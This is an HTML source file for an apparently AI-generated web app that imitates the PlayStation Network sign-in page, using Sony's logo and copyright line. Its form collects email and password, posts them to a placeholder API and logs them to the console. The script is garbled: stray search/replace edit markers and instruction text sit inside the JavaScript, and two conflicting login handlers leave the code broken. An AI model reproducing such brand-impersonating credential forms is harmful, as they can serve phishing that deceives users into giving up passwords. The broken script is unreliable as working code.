palystaion-app / index.html
prithvi2698's picture
give the backend process working - Follow Up Deployment
53243a4 verified
Raw History Blame Contribute Delete
15.4 kB
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>PlayStation Login</title>
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
@import url('https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap');
body {
font-family: 'Roboto', sans-serif;
background-color: #000;
color: #fff;
}
.playstation-btn {
background: linear-gradient(90deg, #0072ce 0%, #003087 100%);
transition: all 0.3s ease;
}
.playstation-btn:hover {
transform: translateY(-2px);
box-shadow: 0 10px 20px rgba(0, 114, 206, 0.3);
}
.input-field {
background-color: rgba(255, 255, 255, 0.1);
border: 1px solid rgba(255, 255, 255, 0.2);
transition: all 0.3s ease;
}
.input-field:focus {
border-color: #0072ce;
box-shadow: 0 0 0 2px rgba(0, 114, 206, 0.3);
}
.ps-logo {
filter: drop-shadow(0 0 10px rgba(0, 114, 206, 0.7));
}
.toggle-password {
cursor: pointer;
opacity: 0.7;
transition: opacity 0.3s;
}
.toggle-password:hover {
opacity: 1;
}
.remember-me:checked {
background-color: #0072ce;
}
.divider {
display: flex;
align-items: center;
text-align: center;
color: rgba(255, 255, 255, 0.5);
}
.divider::before, .divider::after {
content: "";
flex: 1;
border-bottom: 1px solid rgba(255, 255, 255, 0.2);
}
.divider::before {
margin-right: 1rem;
}
.divider::after {
margin-left: 1rem;
}
.social-btn {
transition: all 0.3s ease;
border: 1px solid rgba(255, 255, 255, 0.2);
}
.social-btn:hover {
transform: translateY(-2px);
border-color: rgba(255, 255, 255, 0.4);
}
</style>
</head>
<body class="min-h-screen flex items-center justify-center p-4">
<div class="w-full max-w-md">
<div class="text-center mb-8">
<img src="https://upload.wikimedia.org/wikipedia/commons/0/00/PlayStation_logo.svg" alt="PlayStation Logo" class="h-16 mx-auto ps-logo mb-4">
<h1 class="text-3xl font-bold mb-2">Sign In</h1>
<p class="text-gray-400">Sign in to your PlayStation Network account</p>
</div>
<div class="bg-gray-900 bg-opacity-70 rounded-xl p-8 shadow-2xl border border-gray-800">
<form id="loginForm" class="space-y-6">
<div>
<label for="email" class="block text-sm font-medium mb-1">Sign-in ID (Email address)</label>
<div class="relative">
<input type="email" id="email" name="email" required
class="w-full px-4 py-3 rounded-lg input-field text-white placeholder-gray-500 focus:outline-none"
placeholder="Enter your email">
<div class="absolute inset-y-0 right-0 flex items-center pr-3 pointer-events-none">
<i class="fas fa-envelope text-gray-500"></i>
</div>
</div>
</div>
<div>
<label for="password" class="block text-sm font-medium mb-1">Password</label>
<div class="relative">
<input type="password" id="password" name="password" required
class="w-full px-4 py-3 rounded-lg input-field text-white placeholder-gray-500 focus:outline-none"
placeholder="Enter your password">
<div class="absolute inset-y-0 right-0 flex items-center pr-3">
<i class="fas fa-eye-slash toggle-password" onclick="togglePassword()"></i>
</div>
</div>
</div>
<div class="flex items-center justify-between">
<div class="flex items-center">
<input id="remember-me" name="remember-me" type="checkbox"
class="h-4 w-4 rounded border-gray-300 text-blue-600 focus:ring-blue-500 remember-me">
<label for="remember-me" class="ml-2 block text-sm">Remember me</label>
</div>
<div class="text-sm">
<a href="#" class="font-medium text-blue-400 hover:text-blue-300">Forgot password?</a>
</div>
</div>
<button type="submit"
class="w-full flex justify-center py-3 px-4 border border-transparent rounded-lg shadow-sm text-sm font-medium text-white playstation-btn focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500">
Sign In
</button>
<div class="divider text-sm">OR</div>
<div class="grid grid-cols-2 gap-3">
<button type="button"
class="social-btn flex items-center justify-center py-2 px-4 rounded-lg">
<i class="fab fa-google text-red-500 mr-2"></i>
<span>Google</span>
</button>
<button type="button"
class="social-btn flex items-center justify-center py-2 px-4 rounded-lg">
<i class="fab fa-facebook-f text-blue-500 mr-2"></i>
<span>Facebook</span>
</button>
</div>
</form>
<div class="mt-6 text-center text-sm">
<p class="text-gray-400">Don't have an account?</p>
<a href="#" class="font-medium text-blue-400 hover:text-blue-300">Create one now</a>
</div>
</div>
<div class="mt-8 text-center text-xs text-gray-500">
<p>© 2023 Sony Interactive Entertainment LLC. All rights reserved.</p>
<div class="mt-2 space-x-4">
<a href="#" class="hover:text-gray-300">Terms of Service</a>
<a href="#" class="hover:text-gray-300">Privacy Policy</a>
<a href="#" class="hover:text-gray-300">Support</a>
</div>
</div>
</div>
<!-- Device Selection Modal -->
<div id="deviceModal" class="hidden fixed inset-0 bg-black bg-opacity-75 flex items-center justify-center z-50 p-4">
<div class="bg-gray-900 rounded-xl p-8 max-w-md w-full border border-gray-800">
<div class="flex justify-between items-center mb-6">
<h2 class="text-2xl font-bold">Select a Device</h2>
<button onclick="closeModal()" class="text-gray-400 hover:text-white">
<i class="fas fa-times"></i>
</button>
</div>
<div class="space-y-4">
<div class="device-card bg-gray-800 p-4 rounded-lg flex items-center cursor-pointer hover:bg-gray-700 transition" onclick="selectDevice('PS5')">
<div class="bg-blue-900 p-3 rounded-full mr-4">
<i class="fas fa-gamepad text-xl"></i>
</div>
<div>
<h3 class="font-medium">PlayStation 5</h3>
<p class="text-sm text-gray-400">Living Room</p>
</div>
</div>
<div class="device-card bg-gray-800 p-4 rounded-lg flex items-center cursor-pointer hover:bg-gray-700 transition" onclick="selectDevice('PS4')">
<div class="bg-blue-900 p-3 rounded-full mr-4">
<i class="fas fa-gamepad text-xl"></i>
</div>
<div>
<h3 class="font-medium">PlayStation 4</h3>
<p class="text-sm text-gray-400">Bedroom</p>
</div>
</div>
<div class="device-card bg-gray-800 p-4 rounded-lg flex items-center cursor-pointer hover:bg-gray-700 transition" onclick="selectDevice('Gaming PC')">
<div class="bg-purple-900 p-3 rounded-full mr-4">
<i class="fas fa-desktop text-xl"></i>
</div>
<div>
<h3 class="font-medium">Gaming PC</h3>
<p class="text-sm text-gray-400">Office</p>
</div>
</div>
<div class="device-card bg-gray-800 p-4 rounded-lg flex items-center cursor-pointer hover:bg-gray-700 transition" onclick="selectDevice('Laptop')">
<div class="bg-purple-900 p-3 rounded-full mr-4">
<i class="fas fa-laptop text-xl"></i>
</div>
<div>
<h3 class="font-medium">Gaming Laptop</h3>
<p class="text-sm text-gray-400">Portable</p>
</div>
</div>
<div class="device-card bg-gray-800 p-4 rounded-lg flex items-center cursor-pointer hover:bg-gray-700 transition" onclick="selectDevice('Streaming PC')">
<div class="bg-purple-900 p-3 rounded-full mr-4">
<i class="fas fa-tv text-xl"></i>
</div>
<div>
<h3 class="font-medium">Streaming PC</h3>
<p class="text-sm text-gray-400">Media Room</p>
</div>
</div>
</div>
</div>
</div>
<script>
// Function to handle form submission
async function handleLogin(event) {
event.preventDefault();
const form = event.target;
const loginBtn = form.querySelector('button[type="submit"]');
const email = form.email.value;
const password = form.password.value;
// Show loading state
loginBtn.innerHTML = '<i class="fas fa-spinner fa-spin mr-2"></i> Signing in...';
loginBtn.disabled = true;
try {
// Simulate API call to backend
const response = await fetch('https://api.example.com/auth/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
email: email,
password: password
})
});
const data = await response.json();
if (response.ok) {
// Successful login
document.getElementById('deviceModal').classList.remove('hidden');
// Store token in localStorage (in a real app)
// localStorage.setItem('authToken', data.token);
} else {
// Show error message
alert(data.message || 'Login failed');
}
} catch (error) {
console.error('Login error:', error);
alert('Network error. Please try again.');
} finally {
// Reset button state
loginBtn.innerHTML = 'Sign In';
loginBtn.disabled = false;
}
}
// Attach form submit handler
document.getElementById('loginForm').addEventListener('submit', handleLogin);
=======
2. Add the modal functions to the script:
<<<<<<< SEARCH
setTimeout(() => {
loginBtn.innerHTML = 'Sign In';
loginBtn.disabled = false;
alert('Login successful! (This is a demo)');
}, 1500);
=======
setTimeout(() => {
loginBtn.innerHTML = 'Sign In';
loginBtn.disabled = false;
document.getElementById('deviceModal').classList.remove('hidden');
}, 1500);
});
function closeModal() {
document.getElementById('deviceModal').classList.add('hidden');
}
function selectDevice(deviceName) {
closeModal();
alert(`Connecting to ${deviceName}... (This is a demo)`);
}
function togglePassword() {
const passwordInput = document.getElementById('password');
const toggleIcon = document.querySelector('.toggle-password');
if (passwordInput.type === 'password') {
passwordInput.type = 'text';
toggleIcon.classList.remove('fa-eye-slash');
toggleIcon.classList.add('fa-eye');
} else {
passwordInput.type = 'password';
toggleIcon.classList.remove('fa-eye');
toggleIcon.classList.add('fa-eye-slash');
}
}
document.getElementById('loginForm').addEventListener('submit', function(e) {
e.preventDefault();
const email = document.getElementById('email').value;
const password = document.getElementById('password').value;
// Here you would typically send the data to your server
console.log('Login attempt with:', { email, password });
// Simulate a successful login with a timeout
const loginBtn = this.querySelector('button[type="submit"]');
loginBtn.innerHTML = '<i class="fas fa-spinner fa-spin mr-2"></i> Signing in...';
loginBtn.disabled = true;
setTimeout(() => {
loginBtn.innerHTML = 'Sign In';
loginBtn.disabled = false;
alert('Login successful! (This is a demo)');
}, 1500);
});
</script>
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=prithvi2698/palystaion-app" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body>
</html>